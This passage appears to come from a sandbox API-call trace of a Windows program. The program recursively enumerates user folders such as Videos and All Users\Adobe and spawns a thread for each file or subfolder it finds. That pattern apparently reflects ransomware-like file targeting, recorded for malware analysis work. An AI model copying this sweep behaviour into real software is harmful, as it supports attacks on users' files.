_Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.763] wcscat (in: _Dest=0x1b784370, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.763] wcscat (in: _Dest=0x1b784370, _Source="DEjXXuKcKsRHhExD0Ys.flv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DEjXXuKcKsRHhExD0Ys.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\DEjXXuKcKsRHhExD0Ys.flv" [0090.763] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b784370, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5c0 [0090.764] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0090.764] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0090.764] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0090.764] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a63110, ftCreationTime.dwHighDateTime=0x1d5dd96, ftLastAccessTime.dwLowDateTime=0x5831abd0, ftLastAccessTime.dwHighDateTime=0x1d5dd9a, ftLastWriteTime.dwLowDateTime=0x5831abd0, ftLastWriteTime.dwHighDateTime=0x1d5dd9a, nFileSizeHigh=0x0, nFileSizeLow=0xdf04, dwReserved0=0x0, dwReserved1=0x0, cFileName="e4pIse5imH dIacL.swf", cAlternateFileName="E4PISE~1.SWF")) returned 1 [0090.764] wcscmp (_String1="e4pIse5imH dIacL.swf", _String2=".") returned 1 [0090.764] wcscmp (_String1="e4pIse5imH dIacL.swf", _String2="..") returned 1 [0090.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8664c0 [0090.764] wcscpy (in: _Dest=0x1b8664c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.764] wcscat (in: _Dest=0x1b8664c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.764] wcscat (in: _Dest=0x1b8664c0, _Source="e4pIse5imH dIacL.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\e4pIse5imH dIacL.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\e4pIse5imH dIacL.swf" [0090.764] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b8664c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5bc [0090.765] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1494c0, ftCreationTime.dwHighDateTime=0x1d5d7dd, ftLastAccessTime.dwLowDateTime=0x4eda3050, ftLastAccessTime.dwHighDateTime=0x1d5e16b, ftLastWriteTime.dwLowDateTime=0x4eda3050, ftLastWriteTime.dwHighDateTime=0x1d5e16b, nFileSizeHigh=0x0, nFileSizeLow=0x16ff4, dwReserved0=0x0, dwReserved1=0x0, cFileName="eQmBLS7.mkv", cAlternateFileName="")) returned 1 [0090.765] wcscmp (_String1="eQmBLS7.mkv", _String2=".") returned 1 [0090.766] wcscmp (_String1="eQmBLS7.mkv", _String2="..") returned 1 [0090.766] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b86ef00 [0090.766] wcscpy (in: _Dest=0x1b86ef00, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.766] wcscat (in: _Dest=0x1b86ef00, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.766] wcscat (in: _Dest=0x1b86ef00, _Source="eQmBLS7.mkv" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eQmBLS7.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\eQmBLS7.mkv" [0090.766] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ef00, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b8 [0090.767] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x283b53c0, ftCreationTime.dwHighDateTime=0x1d5df1d, ftLastAccessTime.dwLowDateTime=0x72bfded0, ftLastAccessTime.dwHighDateTime=0x1d5e020, ftLastWriteTime.dwLowDateTime=0x72bfded0, ftLastWriteTime.dwHighDateTime=0x1d5e020, nFileSizeHigh=0x0, nFileSizeLow=0x871e, dwReserved0=0x0, dwReserved1=0x0, cFileName="kP4I0A52fmMXShriyZ5.mp4", cAlternateFileName="KP4I0A~1.MP4")) returned 1 [0090.767] wcscmp (_String1="kP4I0A52fmMXShriyZ5.mp4", _String2=".") returned 1 [0090.767] wcscmp (_String1="kP4I0A52fmMXShriyZ5.mp4", _String2="..") returned 1 [0090.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b85b880 [0090.767] wcscpy (in: _Dest=0x1b85b880, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.767] wcscat (in: _Dest=0x1b85b880, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.767] wcscat (in: _Dest=0x1b85b880, _Source="kP4I0A52fmMXShriyZ5.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kP4I0A52fmMXShriyZ5.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\kP4I0A52fmMXShriyZ5.mp4" [0090.767] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b880, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5b4 [0090.768] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb021a380, ftCreationTime.dwHighDateTime=0x1d5e40d, ftLastAccessTime.dwLowDateTime=0xc07d0690, ftLastAccessTime.dwHighDateTime=0x1d5df29, ftLastWriteTime.dwLowDateTime=0xc07d0690, ftLastWriteTime.dwHighDateTime=0x1d5df29, nFileSizeHigh=0x0, nFileSizeLow=0xb70e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Q7luwV1VLW5.swf", cAlternateFileName="Q7LUWV~1.SWF")) returned 1 [0090.768] wcscmp (_String1="Q7luwV1VLW5.swf", _String2=".") returned 1 [0090.768] wcscmp (_String1="Q7luwV1VLW5.swf", _String2="..") returned 1 [0090.768] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b866540 [0090.768] wcscpy (in: _Dest=0x1b866540, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.768] wcscat (in: _Dest=0x1b866540, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.768] wcscat (in: _Dest=0x1b866540, _Source="Q7luwV1VLW5.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Q7luwV1VLW5.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Q7luwV1VLW5.swf" [0090.768] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866540, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a4 [0090.769] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9036c0, ftCreationTime.dwHighDateTime=0x1d5e2ea, ftLastAccessTime.dwLowDateTime=0x74461070, ftLastAccessTime.dwHighDateTime=0x1d5e21f, ftLastWriteTime.dwLowDateTime=0x74461070, ftLastWriteTime.dwHighDateTime=0x1d5e21f, nFileSizeHigh=0x0, nFileSizeLow=0x4a44, dwReserved0=0x0, dwReserved1=0x0, cFileName="qPL1uMmBSW6KhBxLHCfM.avi", cAlternateFileName="QPL1UM~1.AVI")) returned 1 [0090.769] wcscmp (_String1="qPL1uMmBSW6KhBxLHCfM.avi", _String2=".") returned 1 [0090.769] wcscmp (_String1="qPL1uMmBSW6KhBxLHCfM.avi", _String2="..") returned 1 [0090.769] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7c) returned 0x1b85b6d0 [0090.769] wcscpy (in: _Dest=0x1b85b6d0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.769] wcscat (in: _Dest=0x1b85b6d0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.769] wcscat (in: _Dest=0x1b85b6d0, _Source="qPL1uMmBSW6KhBxLHCfM.avi" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qPL1uMmBSW6KhBxLHCfM.avi") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\qPL1uMmBSW6KhBxLHCfM.avi" [0090.769] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85b6d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5a0 [0090.770] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6d94a660, ftCreationTime.dwHighDateTime=0x1d5d905, ftLastAccessTime.dwLowDateTime=0xbf4d3c70, ftLastAccessTime.dwHighDateTime=0x1d5e016, ftLastWriteTime.dwLowDateTime=0xbf4d3c70, ftLastWriteTime.dwHighDateTime=0x1d5e016, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRslyt1kGwVZ4rLiPmrN", cAlternateFileName="QRSLYT~1")) returned 1 [0090.770] wcscmp (_String1="QRslyt1kGwVZ4rLiPmrN", _String2=".") returned 1 [0090.770] wcscmp (_String1="QRslyt1kGwVZ4rLiPmrN", _String2="..") returned 1 [0090.771] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b8665c0 [0090.771] wcscpy (in: _Dest=0x1b8665c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.771] wcscat (in: _Dest=0x1b8665c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.771] wcscat (in: _Dest=0x1b8665c0, _Source="QRslyt1kGwVZ4rLiPmrN" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\QRslyt1kGwVZ4rLiPmrN" [0090.771] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8665c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578 [0090.772] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbec2ec00, ftCreationTime.dwHighDateTime=0x1d5e101, ftLastAccessTime.dwLowDateTime=0x67a35ef0, ftLastAccessTime.dwHighDateTime=0x1d5df08, ftLastWriteTime.dwLowDateTime=0x67a35ef0, ftLastWriteTime.dwHighDateTime=0x1d5df08, nFileSizeHigh=0x0, nFileSizeLow=0x13ed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="rqnRGBhBme6RT.swf", cAlternateFileName="RQNRGB~1.SWF")) returned 1 [0090.772] wcscmp (_String1="rqnRGBhBme6RT.swf", _String2=".") returned 1 [0090.772] wcscmp (_String1="rqnRGBhBme6RT.swf", _String2="..") returned 1 [0090.772] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6e) returned 0x1b866640 [0090.772] wcscpy (in: _Dest=0x1b866640, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.772] wcscat (in: _Dest=0x1b866640, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.772] wcscat (in: _Dest=0x1b866640, _Source="rqnRGBhBme6RT.swf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rqnRGBhBme6RT.swf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rqnRGBhBme6RT.swf" [0090.772] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b866640, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568 [0090.773] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x24857b0, ftCreationTime.dwHighDateTime=0x1d5e6cc, ftLastAccessTime.dwLowDateTime=0xf4bb70e0, ftLastAccessTime.dwHighDateTime=0x1d5e820, ftLastWriteTime.dwLowDateTime=0xf4bb70e0, ftLastWriteTime.dwHighDateTime=0x1d5e820, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vdyn-a VddUU1HL", cAlternateFileName="VDYN-A~1")) returned 1 [0090.773] wcscmp (_String1="Vdyn-a VddUU1HL", _String2=".") returned 1 [0090.773] wcscmp (_String1="Vdyn-a VddUU1HL", _String2="..") returned 1 [0090.773] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b8666c0 [0090.773] wcscpy (in: _Dest=0x1b8666c0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.773] wcscat (in: _Dest=0x1b8666c0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.773] wcscat (in: _Dest=0x1b8666c0, _Source="Vdyn-a VddUU1HL" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\Vdyn-a VddUU1HL" [0090.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b8666c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c [0090.774] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90252040, ftCreationTime.dwHighDateTime=0x1d5d8da, ftLastAccessTime.dwLowDateTime=0x21bb6860, ftLastAccessTime.dwHighDateTime=0x1d5d9d1, ftLastWriteTime.dwLowDateTime=0x21bb6860, ftLastWriteTime.dwHighDateTime=0x1d5d9d1, nFileSizeHigh=0x0, nFileSizeLow=0x22b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zMsRH7lu.mp4", cAlternateFileName="")) returned 1 [0090.774] wcscmp (_String1="zMsRH7lu.mp4", _String2=".") returned 1 [0090.774] wcscmp (_String1="zMsRH7lu.mp4", _String2="..") returned 1 [0090.775] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b86ef70 [0090.775] wcscpy (in: _Dest=0x1b86ef70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0090.775] wcscat (in: _Dest=0x1b86ef70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\" [0090.775] wcscat (in: _Dest=0x1b86ef70, _Source="zMsRH7lu.mp4" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zMsRH7lu.mp4") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\zMsRH7lu.mp4" [0090.775] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b86ef70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554 [0090.775] FindNextFileW (in: hFindFile=0x1b858d90, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90252040, ftCreationTime.dwHighDateTime=0x1d5d8da, ftLastAccessTime.dwLowDateTime=0x21bb6860, ftLastAccessTime.dwHighDateTime=0x1d5d9d1, ftLastWriteTime.dwLowDateTime=0x21bb6860, ftLastWriteTime.dwHighDateTime=0x1d5d9d1, nFileSizeHigh=0x0, nFileSizeLow=0x22b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="zMsRH7lu.mp4", cAlternateFileName="")) returned 0 [0090.775] FindClose (in: hFindFile=0x1b858d90 | out: hFindFile=0x1b858d90) returned 1 [0090.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0090.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858df0) returned 1 [0090.776] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858e50) returned 1 Thread: id = 274 os_tid = 0xd78 [0087.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9f630 [0087.915] wcscpy (in: _Dest=0x1cd9f630, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0087.915] wcscat (in: _Dest=0x1cd9f630, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0087.915] wcscat (in: _Dest=0x1cd9f630, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\*") returned="C:\\Users\\All Users\\Adobe\\*" [0087.915] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f310 [0087.916] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\*", lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858d30 [0087.916] wcscmp (_String1=".", _String2=".") returned 0 [0087.916] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0087.916] wcscmp (_String1="..", _String2=".") returned 1 [0087.916] wcscmp (_String1="..", _String2="..") returned 0 [0087.916] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0087.916] wcscmp (_String1="Acrobat", _String2=".") returned 1 [0087.916] wcscmp (_String1="Acrobat", _String2="..") returned 1 [0087.917] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x42) returned 0x1b82bef0 [0087.917] wcscpy (in: _Dest=0x1b82bef0, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0087.917] wcscat (in: _Dest=0x1b82bef0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0087.917] wcscat (in: _Dest=0x1b82bef0, _Source="Acrobat" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat") returned="C:\\Users\\All Users\\Adobe\\Acrobat" [0097.517] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bef0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xa68 [0097.518] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0097.518] wcscmp (_String1="ARM", _String2=".") returned 1 [0097.518] wcscmp (_String1="ARM", _String2="..") returned 1 [0097.518] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c300 [0097.518] wcscpy (in: _Dest=0x1b82c300, _Source="C:\\Users\\All Users\\Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0097.518] wcscat (in: _Dest=0x1b82c300, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\") returned="C:\\Users\\All Users\\Adobe\\" [0097.518] wcscat (in: _Dest=0x1b82c300, _Source="ARM" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM") returned="C:\\Users\\All Users\\Adobe\\ARM" [0097.518] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c300, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x74c [0097.519] FindNextFileW (in: hFindFile=0x1b858d30, lpFindFileData=0x1ce1f310 | out: lpFindFileData=0x1ce1f310*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 0 [0097.519] FindClose (in: hFindFile=0x1b858d30 | out: hFindFile=0x1b858d30) returned 1 [0097.519] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f310) returned 1 [0097.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9f630) returned 1 [0097.520] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d8080) returned 1 Thread: id = 275 os_tid = 0xd7c [0087.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1b858bb0 [0087.919] wcscpy (in: _Dest=0x1b858bb0, _Source="C:\\Users\\All Users\\Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0087.919] wcscat (in: _Dest=0x1b858bb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Application Data\\") returned="C:\\Users\\All Users\\Application Data\\" [0087.919] wcscat (in: _Dest=0x1b858bb0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Application Data\\*") returned="C:\\Users\\All Users\\Application Data\\*" [0087.919] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f580 [0087.919] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Application Data\\*", lpFindFileData=0x1ce1f580 | out: lpFindFileData=0x1ce1f580*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0087.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f580) returned 1 [0087.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b858bb0) returned 1 [0087.920] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 Thread: id = 276 os_tid = 0xd80 [0087.925] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bf90 [0087.925] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users\\All Users\\Desktop" | out: _Dest="C:\\Users\\All 